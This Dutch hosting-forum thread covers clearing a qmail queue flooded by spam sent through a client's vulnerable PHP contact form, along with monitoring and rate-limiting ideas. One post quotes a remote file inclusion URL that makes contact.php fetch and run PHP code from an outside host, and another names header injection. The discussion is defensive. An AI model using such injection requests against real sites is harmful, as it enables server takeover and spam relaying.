Onderwerp: e-mail queue WEER vol

Is er een mogelijkheid om op 'n makkelijke manier om alle mails met bijvoorbeeld subject="failure notice" en/of recipient="john@doe.com" te verwijderen?

Een executable lijkt me het beste. De Qmail queue manager heeft steeds 5 minuten nodig om te laden, dan verwijder ik weer 25 mails en laadt hij weer 5 minuten. Er is 'n queue van 10.000 e-mails.

Veroorzaakt door 'n spamrun via 'n lek php-formulier van 1 van mijn klanten.

Server: Centos 4.x + Plesk 8.1 + Qmail

Hoe lossen jullie dit op?

http://forum.swsoft.com/showthread.php?postid=49675

2e post.

Even als een .pl opslaan, chmod 755 er overheen en uitvoeren. DIt verwijderd alle emails waarin "MAILER-DAEMON" staat, maar je kunt dat natuurlijk aanpassen naar het emailadres van de afzender bijvoorbeeld of een stukje tekst uit de email.

Super! Ideaal
Dankje

We zitten nu 4 jaar in de webhosting business met eigen servers. Het is me de 1e 3,5 jaar NOOIT overkomen dat spammers massaal spamden via contactformulieren. De laatste 6 maanden is het me zo'n 20 a 30 keer overkomen. (vooral bij klanten dan)

Actieve monitoring door middel van 'n /var/log/spam_log. Deze logt alle mail gestuurd via Apache/http://, dus ook die via lekke php-contactformulieren. Als er 'n lijst staat van 50 mails verstuurd per minuut via 'n php-file, dan heb je inderdaad je bedenkingen. Even in de php-file kijken en in de access_log kijken (bij de datum uit spam_log)... en meestal via je zo'n soort URL request:

Code:

http://www.jouwsite.nl/contact.php?id=http://www.geocities.com/taz/spambitches.txt

Waarbij spambitches.txt gewoon php-code is die vanaf jouw server uitgevoerd wordt.

Maar ook gewoon bij php-formulieren die via SUBMIT/POST en die goed omgaan met het afvangen van http:// e.d. en die 'n vast sendto-adress hebben, gebeurt het vaak.

Het contactformulier op onze bedrijfswebsite heeft hier ook weleens last van gehad. Gelukkig hielp het renamen van de textfields. Een CATCHA-image vind ik nu niet echt gebruikersvriendelijk bij een webhostingsite.

Oorspronkelijk geplaatst door remotehands

Super! Ideaal
Actieve monitoring door middel van 'n /var/log/spam_log. Deze logt alle mail gestuurd via Apache/http://, dus ook die via lekke php-contactformulieren.

Heb je hier een handig scriptje of tooltje voor? of doorspit je handmatig de access logs?

Het loggen gaat automatisch:
- Het loggen van de requests gebeurt automatisch door Apache.
- Het loggen van de outgoing e-mail via o.a. Apache naar /var/log/spam_log heb ik gedaan via een tutorial.

Zie http://www.webhostgear.com/232_print.html (steps 1 to 8 uitvoeren en de mail wordt gelogd in /var/log/spam_log)

Het monitoren... als ik een vertraging merk in de outgoing mail, dan kijk ik meestal hoeveel mails er in de queue staat (/var/qmail/bin/qmail-qstat uitvoeren). Indien deze boven de 1000 is, dan is er vaak sprake van een spam_run. Aangezien qmail tientallen mails per seconde kan verwerken, dan moet de aanvoer wel gigantisch zijn (bijna altijd spam).

Voor het monitoren heb ik echter geen utilities, pas als ik merk dat het niet meer goed werkt via klanten of zelf, dan treed ik op. Het is eventueel mogelijk een monitoring-tool te maken die via 'n cronjob werkt. Deze kan om 't uur kijken of de "messages in queue" uit qmail-qstat hoger is dan 1000 om vervolgens 'n waarschuwings e-mail en/of sms te sturen.

Waarschuwingsmail zal ook sterk vertraagd worden als er 10.000 mailtjes gestuurd worden

Code:

s01:~/bin # cat autoclearqueue.sh
clearqueue.sh `mailq | grep MAILER-DAEMON | awk '{print $1}'`
s01:~/bin # cat clearqueue.sh
for ID in $*
do
        postsuper -d $ID
done

Is het mogelijk misschien ook de bestandsnaam bij te voegen in spam_log?
(Via http://www.webhostgear.com/232_print.html krijg ik alleen het path te zien)

Oorspronkelijk geplaatst door remotehands

Maar ook gewoon bij php-formulieren die via SUBMIT/POST en die goed omgaan met het afvangen van http:// e.d. en die 'n vast sendto-adress hebben, gebeurt het vaak.

Het contactformulier op onze bedrijfswebsite heeft hier ook weleens last van gehad. Gelukkig hielp het renamen van de textfields. Een CATCHA-image vind ik nu niet echt gebruikersvriendelijk bij een webhostingsite.

Jij begrijp toch hopelijk wel dat renamen niet werkt he?

Spammers komen dan namelijk na x dagen een keer kijken, passen de zooi en daar gaat ie weer.

Ook al is er een vast adres, het is toch vaak mogelijk om volledige headers in een veld te plakken. Zoek maar eens op "header injection"..

20 a 30 keer ? Gaat je colo-provider dan niet over de rooie ? Wij hebben dit tot nog toe 3x gehad en toen stond XS4ALL al op het punt ons eruit te gooien. Hun redenering was dat wij dit koste wat kost moesten voorkomen en begrip voor het feit dat klanten eigen software (php-code e.d.) uploaden was er niet of nauwelijks.

Ik zou me in jullie geval afvragen hoe ze het contactformulier op de bedrijfswebsite misbruiken. De bedoeling van een dergelijk formuliertje is dat de inhoud naar het bedrijf wordt gemaild en dat het niet naar een willekeurig adres gestuurd kan worden. Zoals crazycoder al zegt gebruiken ze waarschijnlijk "header injection" om dat toch voor elkaar te krijgen.

Wij zijn overigens nog op zoek naar een methode om per user op het systeem een beperkt aantal mailtjes binnen een bepaalde tijd te kunnen sturen. Mailtjes die boven die limiet komen zouden vertraagd afgehandeld moeten worden, zodat we dat handmatig kunnen controleren. Op die manier hopen we te kunnen voorkomen dat spamruns meer dan 20 of 30 mailtjs kunnen versturen voordat we ze kunnen stoppen. Als iemand daar voor Qmail nog een goede oplossing voor weet houd ik me aanbevolen en anders gaan we zelf wat in elkaar proberen te zetten.

Oorspronkelijk geplaatst door Hans

Wij zijn overigens nog op zoek naar een methode om per user op het systeem een beperkt aantal mailtjes binnen een bepaalde tijd te kunnen sturen. Mailtjes die boven die limiet komen zouden vertraagd afgehandeld moeten worden, zodat we dat handmatig kunnen controleren. Op die manier hopen we te kunnen voorkomen dat spamruns meer dan 20 of 30 mailtjs kunnen versturen voordat we ze kunnen stoppen. Als iemand daar voor Qmail nog een goede oplossing voor weet houd ik me aanbevolen en anders gaan we zelf wat in elkaar proberen te zetten.

Geen idee hoe het met qmail te doen, maar je kan denken aan het limiteren van het aantal ontvangers per e-mail. Als je hostingservers ook voor de e-mail van klanten wordt gebruikt dan kan dit mogelijk een probleem gaan vormen omdat je het niet al te krap kan zetten. In alle andere gevallen zou ik niet meer dan bijv 5 adressen accepteren.

Wat ik tot op heden van spammers heb gezien is dat ze vooral veel adressen per keer meesturen. Je moet dus wel opletten dat er geen queues of mailboxen ineens vol gaan lopen..

Ik weet dat er access providers zijn die een limiet per user in hebben gesteld. Daar mag je bijv 100 mailtjes per dag versturen.. Hoe zij dat doen weet ik niet.

Waarschijnlijk op dezelfde manier zoals het logging scriptje, een wrapper rond sendmail die al zo'n zaken bijhoudt.

Iets dergelijks was ik inderdaad ook van plan. Een wrapper die per user op het systeem (php en cgi draait onder de eigen user) de tijden van de laatste 20 mailtjes ofzo bijhoudt. En vanuit het control panel een mogelijkheid om het tijdelijk te overriden, zodat legitieme mailings niet tegen worden gehouden.

En wat crazycoder zegt is een goed punt inderdaad. De wrapper zou niet alleen de mailtjes moeten tellen, maar zou iedere ontvanger van het mailtje als apart mailtje moeten tellen. Veel spammers geven per mailtje inderdaad meerdere ontvangers op.

Als hier geen standaardsoftware voor is, dan zal ik eens wat in elkaar gaan zetten de komende tijd. Als er interesse is kan ik het wel delen.

Oorspronkelijk geplaatst door Hans

En wat crazycoder zegt is een goed punt inderdaad. De wrapper zou niet alleen de mailtjes moeten tellen, maar zou iedere ontvanger van het mailtje als apart mailtje moeten tellen. Veel spammers geven per mailtje inderdaad meerdere ontvangers op.

Iets met meer dan x ontvangers weigeren. Mailinglijsten hebben er geen probleem mee en wie alle adressen in TO, CC of bcc wil zetten die moet maar iets beters verzinnen.

Het is misschien wel vervelend, maar blacklisted worden is veel vervelender.

Het is linux.... dus de code van je MTA kun je behoorlijk eenvoudig aanpassen om mailtjes van users te tellen. Zo kun je ook mails die 'te veel' zijn via een afgeknepen netwerk verbinding routen (eventueel gestaffeld zodat de verbinding trager wordt naarmate er meer mails overheen gaan). Hiermee vertraag je spamrun heel snel en kun je tevens de beheerder/so per sms op de hoogte stellen.

Moet je natuurlijk wel uitgaand smtp verkeer vanaf de webserver limiteren tot je eigen mailservers. Anders is een php smtp class voldoende om alsnog je telling te omzeilen.